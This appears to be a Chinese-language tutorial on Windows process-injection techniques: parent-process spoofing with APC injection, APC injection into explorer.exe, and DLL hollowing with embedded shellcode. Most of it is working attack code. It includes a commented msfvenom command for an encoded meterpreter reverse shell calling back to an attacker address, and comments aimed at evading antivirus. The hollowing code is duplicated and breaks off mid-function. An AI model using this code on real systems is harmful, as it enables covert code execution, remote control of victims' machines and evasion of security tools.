PSIZE_T lpSize // 指向 SIZE_T 类型的变量的指针,用于存储属性列表的大小。这是一个输出参数,函数将在此变量中返回属性列表的大小。
) {
// 在这里,函数将执行初始化操作,准备用于存储属性的列表。
// ...
// 返回一个布尔值,指示初始化是否成功。
return TRUE; // 如果初始化成功
// return FALSE; // 如果初始化失败
}
BOOL InitializeProcThreadAttributeList(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // 指向 PROC_THREAD_ATTRIBUTE_LIST 结构的指针,用于存储属性列表。
DWORD dwAttributeCount, // 指定要添加到属性列表中的属性数量。
DWORD dwFlags, // 初始化标志,通常为0。此参数目前没有特定的标志值,通常设置为0。
PSIZE_T lpSize // 指向 SIZE_T 类型的变量的指针,用于存储属性列表的大小。这是一个输出参数,函数将在此变量中返回属性列表的大小。
)
LPVOID HeapAlloc(
HANDLE hHeap, // 用于分配内存块的堆的句柄。
DWORD dwFlags, // 分配标志,用于指定分配内存的类型和行为。
SIZE_T dwBytes // 要分配的内存块的大小(以字节为单位)。
);
GetProcessHeap函数是一个简单的函数,它用于获取当前进程的默认堆的句柄
HANDLE GetProcessHeap(
// 无参数,不需要解释。
);
BOOL UpdateProcThreadAttribute(
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // 指向已初始化的 PROC_THREAD_ATTRIBUTE_LIST 结构的指针,用于更新属性列表。
DWORD dwFlags, // 更新标志,指定如何更新属性列表。
DWORD_PTR Attribute, // 要更新的属性标识符。
PVOID lpValue, // 指向包含属性值的缓冲区的指针。
SIZE_T cbSize, // 属性值的大小(以字节为单位)。
PVOID lpPreviousValue, // 指向接收先前属性值的缓冲区的指针。可选参数,可以为 NULL。
PSIZE_T lpReturnSize // 指向 SIZE_T 类型的变量的指针,用于存储返回的属性值的大小。可选参数,可以为 NULL。
);
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // 指向APC(Asynchronous Procedure Call)函数的指针,当线程执行时会调用这个函数。
HANDLE hThread, // 目标线程的句柄,将在该线程上执行APC函数。
ULONG_PTR dwData // 用户定义的数据,传递给APC函数。
);
STARTUPINFOEXA 是一个Windows数据结构,通常用于在启动新进程时传递关于如何启动和配置进程的信息。
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo; // STARTUPINFOA 结构,包含了有关如何启动进程的一般信息。
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; // 指向属性列表的指针,用于指定进程和线程属性。
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
PROCESS_INFORMATION 是一个Windows数据结构,通常用于在启动新进程时存储有关新进程的信息
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess; // 新进程的句柄,可以用于操作和管理新进程。
HANDLE hThread; // 新进程的主线程的句柄,可以用于操作和管理新进程的主线程。
DWORD dwProcessId; // 新进程的进程ID。
DWORD dwThreadId; // 新进程的主线程ID。
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;
代码实现
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>
DWORD FindExplorerPID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, L"iexplorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main() {
//msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.106 EXITFUNC=thread -f
unsigned char sex[] = ("");
STARTUPINFOEXA siex;
PROCESS_INFORMATION piex;
SIZE_T sizeT;
siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);
//设置当前目录
SetCurrentDirectoryA("C:\\Program Files\\internet explorer\\");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeT);
//伪造父进程
UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, &piex);
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(piex.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(piex.hProcess, lpBaseAddress, (LPVOID)sex, sizeof(sex), NULL);
QueueUserAPC((PAPCFUNC)lpBaseAddress, piex.hThread, NULL);
ResumeThread(piex.hThread);
CloseHandle(piex.hThread);
return 0;
}
APC注入
APC (Asynchronous Procedure Calls) 异步过程调用
- 修改shellcode执行权限
- 获取NtTestAlert函数地址
- 插入APC队列
- 调用NtTestAlert
调用函数
QueueUserAPC函数的作用是将一个异步过程调用(APC)请求排队到指定的目标线程中。APC是一种机制,允许您在目标线程的上下文中异步执行用户定义的代码。
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // 指向APC(Asynchronous Procedure Call)函数的指针,当线程执行时会调用这个函数。
HANDLE hThread, // 目标线程的句柄,将在该线程上执行APC函数。
ULONG_PTR dwData // 用户定义的数据,传递给APC函数。
);
NtTestAlert函数是一个Windows内部函数,用于测试警报状态以确定是否需要执行异步过程调用(APC)。
NTSTATUS NtTestAlert(
// 无参数,不需要解释。
);
代码实现
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <vector>
int main()
{
unsigned char buf[] = "";
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
HANDLE victimProcess = NULL;
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
//std::vector 是 C++ 标准库中的一个容器,用于存储一组相同类型的元素。它可以动态增长或缩小,非常适合存储可变数量的数据。
std::vector<DWORD> threadIds;
SIZE_T shellSize = sizeof(buf);
HANDLE threadHandle = NULL;
if (Process32First(snapshot, &processEntry)) {
//直接注入其他进程容易被杀
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0) {
Process32Next(snapshot, &processEntry);
}
}
victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//PTHREAD_START_ROUTINE 是一个函数指针类型,通常用于表示线程的起始函数。它用于指定在新线程开始执行时要调用的函数
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, buf, shellSize, NULL);
if (Thread32First(snapshot, &threadEntry)) {
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID) {
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds) {
threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
}
进程镂空注入
进程镂空(Process Hollowing),又称为“傀儡进程”,是一种恶意软件(malware)利用的代码注入技术。它主要用于将恶意代码注入到合法进程中,以规避安全检测、提高恶意代码执行的隐蔽性和稳定性。容易被杀软查杀
- 创建挂起进程
- 读取恶意程序的内容
- 获取挂起进程的线程的映像基质
- 卸载挂起进程的内存
- 将恶意内容写入到目标进程
- 更新目标进程的线程
- 恢复目标进程的主线程
代码实现
https://github.com/11philip22/DllHollowing/tree/master
// ReSharper disable CppClangTidyClangDiagnosticFormatNonIso
// ReSharper disable CppClangTidyClangDiagnosticFormatPedantic
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <winternl.h>
#include <versionhelpers.h>
//
// Definitions
//
typedef LONG(__stdcall* NTCREATESECTION)(HANDLE*, ULONG, void*, LARGE_INTEGER*, ULONG, ULONG, HANDLE);
typedef LONG(__stdcall* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
typedef NTSTATUS(__stdcall* NTCREATETRANSACTION)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, LPGUID, HANDLE, ULONG, ULONG, ULONG, PLARGE_INTEGER, PUNICODE_STRING);
BOOL CheckRelocRange(PBYTE pRelocBuf, UINT dwStartRVA, UINT dwEndRVA);
PVOID GetPAFromRVA(PBYTE pPeBuf, IMAGE_NT_HEADERS* pNtHdrs, IMAGE_SECTION_HEADER* pInitialSectHdrs, UINT64 qwRVA);
//
// Hollower logic
//
BOOL HollowDll(PBYTE* ppMapBuf, UINT64* pqwMapBufSize, const PBYTE pCodeBuf, const UINT dwReqBufSize,
PBYTE* ppMappedCode, const BOOL bTxF, const BOOL bIsElevated) {
WIN32_FIND_DATAW wfd = { 0 };
WCHAR cSearchFilePath[MAX_PATH] = { 0 };
WCHAR cTempPath[MAX_PATH] = { 0 };
WCHAR cDllPath[MAX_PATH] = { 0 };
WCHAR cDllDestPath[MAX_PATH] = { 0 };
WCHAR cSysDir[MAX_PATH] = { 0 };
HANDLE hFind;
BOOL bMapped = FALSE;
// Function pointers
NTCREATESECTION pNtCreateSection = NULL;
NTMAPVIEWOFSECTION pNtMapViewOfSection = NULL;
NTCREATETRANSACTION pNtCreateTransaction = NULL;
//
// Load required functions from ntdll
//
const HMODULE hNtdll = LoadLibraryW(L"ntdll.dll");
pNtCreateSection = (NTCREATESECTION)GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(hNtdll, "NtMapViewOfSection");
pNtCreateTransaction = (NTCREATETRANSACTION)GetProcAddress(hNtdll, "NtCreateTransaction");
//
// Locate a DLL in the architecture appropriate system folder which has a sufficient image size to hollow for allocation.
//
GetSystemDirectoryW(cSysDir, MAX_PATH);
wcscat_s(cSearchFilePath, MAX_PATH, cSysDir);
wcscat_s(cSearchFilePath, MAX_PATH, L"\\*.dll");
// TODO: implement copying in main loop. So dll gets copied one by one instead of all at once to prevent unnecessary dll's to be copied.
if (!bIsElevated) {
if (!GetTempPathW(MAX_PATH, cTempPath)) {
puts("[-] Unable to get temporary path.\r\n");
return FALSE;
}
if ((hFind = FindFirstFileW(cSearchFilePath, &wfd)) != INVALID_HANDLE_VALUE) {
do {
// Get path of source
wcscat_s(cDllPath, MAX_PATH, cSysDir);
wcscat_s(cDllPath, MAX_PATH, L"\\");
wcscat_s(cDllPath, MAX_PATH, wfd.cFileName);
// Get path of destination
wcscat_s(cDllDestPath, MAX_PATH, cTempPath);
wcscat_s(cDllDestPath, MAX_PATH, wfd.cFileName);
if (CopyFileW(cDllPath, cDllDestPath, TRUE)) { // TODO: replace with syscall
printf("[+] Copied %ls to %ls\r\n", cDllPath, cDllDestPath);
}
// Cleanup
SecureZeroMemory(cDllPath, MAX_PATH);
SecureZeroMemory(cDllDestPath, MAX_PATH);
} while (FindNextFileW(hFind, &wfd));
}
// Set path to tmp folder
SecureZeroMemory(cSearchFilePath, MAX_PATH);
wcscat_s(cSearchFilePath, MAX_PATH, cTempPath);
wcscat_s(cSearchFilePath, MAX_PATH, L"*.dll");
}
if ((hFind = FindFirstFileW(cSearchFilePath, &wfd)) != INVALID_HANDLE_VALUE) {
do {
if (GetModuleHandleW(wfd.cFileName) == NULL) {
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hTransaction = INVALID_HANDLE_VALUE;
WCHAR cFilePath[MAX_PATH];
NTSTATUS ntStatus;
PBYTE pFileBuf;
if (bIsElevated) {
GetSystemDirectoryW(cFilePath, MAX_PATH);
wcscat_s(cFilePath, MAX_PATH, L"\\");
}
else {
GetTempPathW(MAX_PATH, cFilePath);
}
wcscat_s(cFilePath, MAX_PATH, wfd.cFileName);
//
// Read the DLL to memory and check its headers to identify its image size.
//
if (bTxF) {
OBJECT_ATTRIBUTES objAttr = { sizeof(OBJECT_ATTRIBUTES) };
ntStatus = pNtCreateTransaction(&hTransaction,
TRANSACTION_ALL_ACCESS,
&objAttr,
NULL,
NULL,
0,
0,
0,
NULL,
NULL);
if (NT_SUCCESS(ntStatus)) {
hFile = CreateFileTransactedW(cFilePath,
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL,
hTransaction,
NULL,
NULL);
}
else {
printf("[-] Failed to create transaction (error 0x%lx)\r\n", ntStatus);
}
}
else {
hFile = CreateFileW(cFilePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // TODO: replace with syscall
}
if (hFile != INVALID_HANDLE_VALUE) {
const UINT dwFileSize = GetFileSize(hFile, NULL);
UINT dwBytesRead = 0;
pFileBuf = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);
if (ReadFile(hFile, pFileBuf, dwFileSize, (PDWORD)&dwBytesRead, NULL)) {
SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
IMAGE_DOS_HEADER* pDosHdr = (IMAGE_DOS_HEADER*)pFileBuf;
IMAGE_NT_HEADERS* pNtHdrs = (IMAGE_NT_HEADERS*)(pFileBuf + pDosHdr->e_lfanew);
IMAGE_SECTION_HEADER* pSectHdrs = (IMAGE_SECTION_HEADER*)((PBYTE)&pNtHdrs->OptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
if (pNtHdrs->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR_MAGIC) {
if (dwReqBufSize < pNtHdrs->OptionalHeader.SizeOfImage && (_stricmp((char*)pSectHdrs->Name, ".text") == 0 && dwReqBufSize < pSectHdrs->Misc.VirtualSize)) {
//
// Found a DLL with sufficient image size: map an image view of it for hollowing.
//
printf("[*] %ws - image size: %lu - .text size: %lu\r\n", wfd.cFileName, pNtHdrs->OptionalHeader.SizeOfImage, pSectHdrs->Misc.VirtualSize);
BOOL bTxF_Valid = FALSE;
UINT dwCodeRva = 0;
if (bTxF) {
//
// For TxF, make the modifications to the file contents now prior to mapping.
//
UINT dwBytesWritten = 0;
//
// Wipe the data directories that conflict with the code section
//
for (UINT dwX = 0; dwX < pNtHdrs->OptionalHeader.NumberOfRvaAndSizes; dwX++) {
if (pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress >= pSectHdrs->VirtualAddress && pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress < (pSectHdrs->VirtualAddress + pSectHdrs->Misc.VirtualSize)) {
pNtHdrs->OptionalHeader.DataDirectory[dwX].VirtualAddress = 0;
pNtHdrs->OptionalHeader.DataDirectory[dwX].Size = 0;
}
}
//
// Find a range free of relocations large enough to accomodate the code.
//
BOOL bRangeFound = FALSE;
PBYTE pRelocBuf = (PBYTE)GetPAFromRVA(pFileBuf, pNtHdrs, pSectHdrs, pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
if (pRelocBuf != NULL) {
for (dwCodeRva = 0; !bRangeFound && dwCodeRva < pSectHdrs->Misc.VirtualSize; dwCodeRva += dwReqBufSize) {
if (!CheckRelocRange(pRelocBuf, pSectHdrs->VirtualAddress + dwCodeRva, pSectHdrs->VirtualAddress + dwCodeRva + dwReqBufSize)) {
bRangeFound = TRUE;
break;
}
}
if (bRangeFound) {
printf("[+] Found a blank region with code section to accomodate payload at 0x%08x\r\n", dwCodeRva);
}
else {
printf("[-] Failed to identify a blank region large enough to accomodate payload\r\n");
}
memcpy(pFileBuf + pSectHdrs->PointerToRawData + dwCodeRva, pCodeBuf, dwReqBufSize);
if (WriteFile(hFile, pFileBuf, dwFileSize, (PDWORD)&dwBytesWritten, NULL)) {
printf("[+] Successfully modified TxF file content.\r\n");
bTxF_Valid = TRUE;
}
}
else {
printf("[-] No relocation directory present.\r\n");
}
}
if (!bTxF || bTxF_Valid) {
HANDLE hSection = NULL;
ntStatus = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL, PAGE_READONLY, SEC_IMAGE, hFile);
if (NT_SUCCESS(ntStatus)) {
*pqwMapBufSize = 0; // The map view is an in and out parameter, if it isn't zero the map may have its size overwritten
ntStatus = pNtMapViewOfSection(hSection, GetCurrentProcess(), (void**)ppMapBuf, 0, 0, NULL, (PSIZE_T)pqwMapBufSize, 1, 0, PAGE_READONLY); // AllocationType of MEM_COMMIT|MEM_RESERVE is not needed for SEC_IMAGE.
if (NT_SUCCESS(ntStatus)) {
if (*pqwMapBufSize >= pNtHdrs->OptionalHeader.SizeOfImage) { // Verify that the mapped size is of sufficient size. There are quirks to image mapping that can result in the image size not matching the mapped size.
printf("[*] %ws - mapped size: %I64u\r\n", wfd.cFileName, *pqwMapBufSize);
*ppMappedCode = *ppMapBuf + pSectHdrs->VirtualAddress + dwCodeRva;
if (!bTxF) {
UINT dwOldProtect = 0;
if (VirtualProtect(*ppMappedCode, dwReqBufSize, PAGE_READWRITE, (PDWORD)&dwOldProtect)) {
memcpy(*ppMappedCode, pCodeBuf, dwReqBufSize);
if (VirtualProtect(*ppMappedCode, dwReqBufSize, dwOldProtect, (PDWORD)&dwOldProtect)) {
bMapped = TRUE;
}
}
}
else {
bMapped = TRUE;
}
}
}
else {
printf("[-] Failed to create mapping of section (error 0x%08lx)", ntStatus);
}
}
else {
printf("[-] Failed to create section (error 0x%lx)\r\n", ntStatus);
}
}
else {
printf("[-] TxF initialization failed.\r\n");
}
}
}
}
if (pFileBuf != NULL) {
VirtualFree(pFileBuf, 0, MEM_RELEASE);
}
if (hFile != INVALID_HANDLE_VALUE) {
CloseHandle(hFile);
}
if (hTransaction != INVALID_HANDLE_VALUE) {
CloseHandle(hTransaction);
}
}
else {
printf("[-] Failed to open handle to %ws (error %lu)\r\n", cFilePath, GetLastError());
}
}
} while (!bMapped && FindNextFileW(hFind, &wfd));
FindClose(hFind);
}
return bMapped;
}
//
// Helpers
//
IMAGE_SECTION_HEADER* GetContainerSectHdr(IMAGE_NT_HEADERS* pNtHdrs, IMAGE_SECTION_HEADER* pInitialSectHeader, UINT64 qwRVA) {
for (UINT dwX = 0; dwX < pNtHdrs->FileHeader.NumberOfSections; dwX++) {
IMAGE_SECTION_HEADER* pCurrentSectHdr = pInitialSectHeader;
UINT dwCurrentSectSize;
pCurrentSectHdr += dwX;
if (pCurrentSectHdr->Misc.VirtualSize > pCurrentSectHdr->SizeOfRawData) {
dwCurrentSectSize = pCurrentSectHdr->Misc.VirtualSize;
}
else {
dwCurrentSectSize = pCurrentSectHdr->SizeOfRawData;
}
if ((qwRVA >= pCurrentSectHdr->VirtualAddress) && (qwRVA <= (pCurrentSectHdr->VirtualAddress + dwCurrentSectSize))) {
return pCurrentSectHdr;
}
}
return NULL;
}
PVOID GetPAFromRVA(PBYTE pPeBuf, IMAGE_NT_HEADERS* pNtHdrs, IMAGE_SECTION_HEADER* pInitialSectHdrs, UINT64 qwRVA) {
IMAGE_SECTION_HEADER* pContainSectHdr;
if ((pContainSectHdr = GetContainerSectHdr(pNtHdrs, pInitialSectHdrs, qwRVA)) != NULL) {
const UINT dwOffset = (qwRVA - pContainSectHdr->VirtualAddress);
if (dwOffset < pContainSectHdr->SizeOfRawData)
{
// Sections can be partially or fully virtual. Avoid creating physical pointers that reference regions outside of the raw data in sections with a greater virtual size than physical.
return (PBYTE)(pPeBuf + pContainSectHdr->PointerToRawData + dwOffset);
}
}
return NULL;
}
BOOL CheckRelocRange(PBYTE pRelocBuf, UINT dwStartRVA, UINT dwEndRVA) {
IMAGE_BASE_RELOCATION* pCurrentRelocBlock;
UINT dwRelocBufOffset, dwX;
BOOL bWithinRange = FALSE;
for (pCurrentRelocBlock = (IMAGE_BASE_RELOCATION*)pRelocBuf, dwX = 0, dwRelocBufOffset = 0; pCurrentRelocBlock->SizeOfBlock; dwX++) {
const UINT dwNumBlocks = ((pCurrentRelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD));
WORD* pwCurrentRelocEntry = (WORD*)((PBYTE)pCurrentRelocBlock + sizeof(IMAGE_BASE_RELOCATION));
for (UINT dwY = 0; dwY < dwNumBlocks; dwY++, pwCurrentRelocEntry++) {
#ifdef _WIN64
#define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_DIR64
#else
#define RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_HIGHLOW
#endif
if (((*pwCurrentRelocEntry >> 12) & RELOC_FLAG_ARCH_AGNOSTIC) == RELOC_FLAG_ARCH_AGNOSTIC) {
const UINT dwRelocEntryRefLocRva = (pCurrentRelocBlock->VirtualAddress + (*pwCurrentRelocEntry & 0x0FFF));
if (dwRelocEntryRefLocRva >= dwStartRVA && dwRelocEntryRefLocRva < dwEndRVA) {
bWithinRange = TRUE;
}
}
}
dwRelocBufOffset += pCurrentRelocBlock->SizeOfBlock;
pCurrentRelocBlock = (IMAGE_BASE_RELOCATION*)((PBYTE)pCurrentRelocBlock + pCurrentRelocBlock->SizeOfBlock);
}
return bWithinRange;
}
//
// Entry point
//
typedef void(*fnAddr)(VOID);
INT main() {
BOOL bIsElevated = FALSE;
BOOL bTxF = TRUE;
HANDLE hProcessToken = NULL;
PBYTE pMapBuf = NULL;
PBYTE pMappedCode = NULL;
UINT64 qwMapBufSize;
BYTE bMessageboxShellcode64[] = "\x48\x89\x5C\x24\x18\x48\x89\x7C\x24\x20\x55\x48\x8D\x6C\x24\xA9\x48\x81\xEC\xA0\x00\x00\x00\x33\xDB\xC7\x45\x17\x75\x00\x73\x00\xB9\x13\x9C\xBF\xBD\x48\x89\x5D\x67\x89\x5D\xFB\x89\x5D\x0B\x66\x89\x5D\x47\xC7\x45\x1B\x65\x00\x72\x00\xC7\x45\x1F\x33\x00\x32\x00\xC7\x45\x23\x2E\x00\x64\x00\xC7\x45\x27\x6C\x00\x6C\x00\xC7\x45\xD7\x4D\x65\x73\x73\xC7\x45\xDB\x61\x67\x65\x42\xC7\x45\xDF\x6F\x78\x57\x00\xC7\x45\x2F\x48\x00\x65\x00\xC7\x45\x33\x6C\x00\x6C\x00\xC7\x45\x37\x6F\x00\x20\x00\xC7\x45\x3B\x57\x00\x6F\x00\xC7\x45\x3F\x72\x00\x6C\x00\xC7\x45\x43\x64\x00\x21\x00\xC7\x45\xE7\x44\x00\x65\x00\xC7\x45\xEB\x6D\x00\x6F\x00\xC7\x45\xEF\x21\x00\x00\x00\xE8\x74\x00\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x67\x00\x00\x00\x48\x8B\xF8\xC7\x45\xF7\x14\x00\x14\x00\x48\x8D\x45\x17\x33\xD2\x4C\x8D\x4D\x6F\x48\x89\x45\xFF\x4C\x8D\x45\xF7\x33\xC9\xFF\xD3\x48\x8B\x4D\x6F\x48\x8D\x45\xD7\x45\x33\xC0\x48\x89\x45\x0F\x4C\x8D\x4D\x67\xC7\x45\x07\x0C\x00\x0C\x00\x48\x8D\x55\x07\xFF\xD7\x45\x33\xC9\x4C\x8D\x45\xE7\x48\x8D\x55\x2F\x33\xC9\xFF\x55\x67\x4C\x8D\x9C\x24\xA0\x00\x00\x00\x49\x8B\x5B\x20\x49\x8B\x7B\x28\x49\x8B\xE3\x5D\xC3\xCC\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xE9\x45\x33\xF6\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB3\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x41\x8B\xD6\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x46\x8B\x9C\x00\x88\x00\x00\x00\x45\x85\xDB\x74\xD2\x48\x8B\x04\x24\x48\xC1\xE8\x10\x66\x44\x3B\xF0\x73\x22\x48\x8B\x4C\x24\x08\x44\x0F\xB7\xD0\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEA\x01\x75\xE7\x4F\x8D\x14\x18\x45\x8B\xDE\x41\x8B\x7A\x20\x49\x03\xF8\x45\x39\x72\x18\x76\x8E\x8B\x37\x41\x8B\xDE\x49\x03\xF0\x48\x8D\x7F\x04\x0F\xBE\x0E\x48\xFF\xC6\xC1\xCB\x0D\x03\xD9\x84\xC9\x75\xF1\x8D\x04\x13\x3B\xC5\x74\x0E\x41\xFF\xC3\x45\x3B\x5A\x18\x72\xD5\xE9\x5E\xFF\xFF\xFF\x41\x8B\x42\x24\x43\x8D\x0C\x1B\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x6C\x24\x28\x48\x8B\x74\x24\x30\x48\x8B\x7C\x24\x38\x48\x83\xC4\x10\x41\x5E\xC3";
// Check if ran with elevated privileges
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
TOKEN_ELEVATION Elevation;
DWORD cbSize = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hProcessToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
bIsElevated = Elevation.TokenIsElevated;
}
}
if (hProcessToken) {
CloseHandle(hProcessToken);
}
// Check if TxF is supported
if (!IsWindowsVistaOrGreater()) { // Does this really work
puts("[*] TxF is not supported\r\n");
bTxF = FALSE;
}
if (HollowDll(&pMapBuf, &qwMapBufSize, bMessageboxShellcode64,
sizeof bMessageboxShellcode64, &pMappedCode, bTxF, bIsElevated)) {
printf("[+] Successfully mapped an image to hollow at 0x%p (size: %I64u bytes)\r\n", (const PCHAR)pMapBuf, qwMapBufSize);
printf("[*] Calling 0x%p...\r\n", (const PCHAR)pMappedCode);
((fnAddr)pMappedCode)();
}
}// ReSharper disable CppClangTidyClangDiagnosticFormatNonIso
// ReSharper disable CppClangTidyClangDiagnosticFormatPedantic
#include <Windows.h>
#include <stdio.h>
#include <stdint.h>
#include <winternl.h>
#include <versionhelpers.h>
//
// Definitions
//
typedef LONG(__stdcall* NTCREATESECTION)(HANDLE*, ULONG, void*, LARGE_INTEGER*, ULONG, ULONG, HANDLE);
typedef LONG(__stdcall* NTMAPVIEWOFSECTION)(HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T, PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG);
typedef NTSTATUS(__stdcall* NTCREATETRANSACTION)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, LPGUID, HANDLE, ULONG, ULONG, ULONG, PLARGE_INTEGER, PUNICODE_STRING);
BOOL CheckRelocRange(PBYTE pRelocBuf, UINT dwStartRVA, UINT dwEndRVA);
PVOID GetPAFromRVA(PBYTE pPeBuf, IMAGE_NT_HEADERS* pNtHdrs, IMAGE_SECTION_HEADER* pInitialSectHdrs, UINT64 qwRVA);
//
// Hollower logic
//
BOOL HollowDll(PBYTE* ppMapBuf, UINT64* pqwMapBufSize, const PBYTE pCodeBuf, const UINT dwReqBufSize,
PBYTE* ppMappedCode, const BOOL bTxF, const BOOL bIsElevated) {
WIN32_FIND_DATAW wfd = { 0 };
WCHAR cSearchFilePath[MAX_PATH] = { 0 };
WCHAR cTempPath[MAX_PATH] = { 0 };
WCHAR cDllPath[MAX_PATH] = { 0 };
WCHAR cDllDestPath[MAX_PATH] = { 0 };
WCHAR cSysDir[MAX_PATH] = { 0 };
HANDLE hFind;
BOOL bMapped = FALSE;
// Function pointers
NTCREATESECTION pNtCreateSection = NULL;
NTMAPVIEWOFSECTION pNtMapViewOfSection = NULL;
NTCREATETRANSACTION pNtCreateTransaction = NULL;
//
// Load required functions from ntdll
//
const HMODULE hNtdll = LoadLibraryW(L"ntdll.dll");
pNtCreateSection = (NTCREATESECTION)GetProcAddress(hNtdll, "NtCreateSection");
pNtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(hNtdll, "NtMapViewOfSection");
pNtCreateTransaction = (NTCREATETRANSACTION)GetProcAddress(hNtdll, "NtCreateTransaction");
//
// Locate a DLL in the architecture appropriate system folder which has a sufficient image size to hollow for allocation.
//
GetSystemDirectoryW(cSysDir, MAX_PATH);
wcscat_s(cSearchFilePath, MAX_PATH, cSysDir);
wcscat_s(cSearchFilePath, MAX_PATH, L"\\*.dll");
// TODO: implement copying in main loop. So dll gets copied one by one instead of all at once to prevent unnecessary dll's to be copied.
if (!bIsElevated) {
if (!GetTempPathW(MAX_PATH, cTempPath)) {
puts("[-] Unable to get temporary path.\r\n");
return FALSE;
}
if ((hFind = FindFirstFileW(cSearchFilePath, &wfd)) != INVALID_HANDLE_VALUE) {
do {
// Get path of source
wcscat_s(cDllPath, MAX_PATH, cSysDir);
wcscat_s(cDllPath, MAX_PATH, L"\\");
wcscat_s(cDllPath, MAX_PATH, wfd.cFileName);
// Get path of destination
wcscat_s(cDllDestPath, MAX_PATH, cTempPath);
